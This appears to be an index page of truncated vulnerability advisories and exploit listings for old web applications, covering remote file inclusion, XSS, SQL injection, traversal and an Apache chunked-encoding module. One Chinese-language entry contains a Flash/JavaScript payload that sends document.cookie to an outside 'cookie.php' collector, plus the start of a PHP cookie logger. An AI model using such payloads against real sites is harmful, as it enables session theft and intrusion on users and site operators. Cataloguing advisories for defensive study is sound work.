0day Linkliste Version 1.2 Remote File Include by iNs

Hi ,founded a new bug on this script ,I wanted to ask you if you could post it in securityvulns.com thanks in advance .. iNs Here what should be posted : App Name : Linkliste Version 1.2 HomePage : http://www.mapos-scripts.de/downloads.php?download=3 Vuln type : Remote File Include RFI Vuln...

GMTT Music Distro 1.2 XSS Exploit

-=--------------------ADVISORY-------------------=- GMTT Music Distro Author: CorryL [email protected] -=-----------------------------------------------=- -=+ Application: GMTT Music Distro -=+ Version: 1.2 -=+ Vendor's URL: http://www.gmtt.co.uk/catalog/webstores -=+ Platform: WindowsLinuxUnix...

gmttmusic-xss.txt

-=--------------------ADVISORY-------------------=- GMTT Music Distro Author: CorryL [email protected] -=-----------------------------------------------=- -=+ Application: GMTT Music Distro -=+ Version: 1.2 -=+ Vendor's URL: http://www.gmtt.co.uk/catalog/webstores -=+ Platform: Windows\Linux\Uni...

PT-2007-3744 · Sphider · Sphider

Name of the Vulnerable Software and Affected Versions: Sphider versions 1.2.x Description: The issue allows remote attackers to execute arbitrary PHP code via a URL in the include dir parameter in the index.php file. A third party disputes this issue, stating that the application is not vulnerabl...

Sphider Version 1.2.x (include_dir) file include

Sphider Version 1.2.x includedir remote file include script Vendor: http://cs.ioc.ee/ando/sphider/ Discovered by: IbnuSina found on index.php $includedir = "./include"; --- no patch here $languagedir = "./languages"; include "$includedir/indexheader.inc"; include "$includedir/conf.php"; include...

Guestbara 1.2 - Change Admin Login and Password

Guestbara 1.2 - Change Admin Login and Password Guestbara = 1.2 Change admin login & password exploit by Kacper Admin Email Admin Name Admin Pass by Kacper for DEVIL TEAM script download: http://www.hotscripts.pl/produkt-3051.html Greetz @ll DEVIL TEAM milw0rm.com 2007-03-18...

EditTag 1.2 - edittag.cgi?file Arbitrary File Disclosure

EditTag 1.2 - edittag.cgi?file Arbitrary File Disclosure source: https://www.securityfocus.com/bid/21890/info EditTag is prone to multiple directory-traversal vulnerabilities because the application fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow a remote...

Nuked Klan任意.SWF文件COOKIE窃取漏洞

Nuked Klan是一款基于ASP的WEB应用程序。 Nuked Klan处理.swf文件存在问题，远程攻击者可以利用漏洞获取其他目标用户的敏感COOKIE信息。 构建一个.swf文件，放置如下代码： getURL"javascript:alert'document.location="http://site.com/cookie.php? cookie="+document.cookie';"; 或者 ?php $cookie = $GET'cookie'; $ip = getenv 'REMOTEADDR'; $date=date"m/d/Y g:i:s a";...

EditTag 1.2 - 'mkpw_mp.cgi?plain' Cross-Site Scripting

source: https://www.securityfocus.com/bid/21891/info EditTag is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in t...

EditTag 1.2 - 'edittag_mp.pl?file' Arbitrary File Disclosure

source: https://www.securityfocus.com/bid/21890/info EditTag is prone to multiple directory-traversal vulnerabilities because the application fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow a remote attacker to access any file on the affected webserver. Versio...

CreaDirectory 1.2 - 'search.asp?search' Cross-Site Scripting

source: https://www.securityfocus.com/bid/21230/info Creascripts creadirectory is prone to multiple input-validation vulnerabilities, inculding SQL-injection issues and a cross-site scripting issue, because the application fails to sufficiently sanitize user-supplied data. Exploiting these issues...

ASPIntranet 2.1 - default.asp SQL Injection

ASPIntranet 2.1 - default.asp SQL Injection source: https://www.securityfocus.com/bid/21061/info ASPIntranet is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to...

Apache Win32 Chunked Encoding

This module exploits the chunked transfer integer wrap vulnerability in Apache version 1.2.x to 1.3.24. This particular module has been tested with all versions of the official Win32 build between 1.3.9 and 1.3.24. Additionally, it should work against most co-branded and bundled versions of Apach...

MyBulletinBoard 1.2 Generic_Error.PHP Multiple Cross-Site Scripting Vulnerabilities

MyBulletinBoard 1.2 GenericError.PHP Multiple Cross-Site Scripting Vulnerabilities. Webapps exploit for php platform source: http://www.securityfocus.com/bid/20079/info MyBulletinBoard is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplie...

Easy Address Book Web Server Format String Vulnerability

Easy Address Book Web Server Format String Vulnerability Software: Easy Address Book Web Server Version: 1.2 Website: http://www.efssoft.com/ Description: Easy Address Book Web Server is a Web Address Book software that allows users to view, search, add, edit, or administer address books easily...

SAPID Shop <= 1.2 (root_path) Remote File Include Vulnerability

Exploit for unknown platform in category web applications =============================================================== SAPID Shop = 1.2 rootpath Remote File Include Vulnerability =============================================================== $$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM...

k_fileManager 1.2 - dwl_include_path Remote File Inclusion

kfileManager 1.2 - dwlincludepath Remote File Inclusion ================================================================= KfileManager v1.2 = dwlincludepath Remote File Inclusion Exploit ================================================================ | Critical Level : Dangerous | | Venedor site...

k_fileManager &lt;= 1.2 (dwl_include_path) Remote Inclusion Vulnerability

No description provided by source. ================================================================= KfileManager v1.2 = dwlincludepath Remote File Inclusion Exploit ================================================================ | Critical Level : Dangerous | | Venedor site :...

CANews Multiple Vulnerabilities

------------------------------------------------------------------ - CANews Remote Multiple Vulnerability - -= http://colander.altervista.org/advisory/CANews.txt =- ------------------------------------------------------------------ -= CodeAvalanche News Version 1.2 =- Omnipresent May 18, 2006...

MyEvent-1.2.txt

Website : http://mywebland.com/ Script : MyEvent Version : 1.2 Risk : High Class : Remote Credits : b3g0k,Nistiman,flot,Netqurd etc.. my forget other friends Google look for : = "MyEvent 1.2 " or "/calendar/myevent.php" I. Remote Code Execution This is script to very big high it bug being found...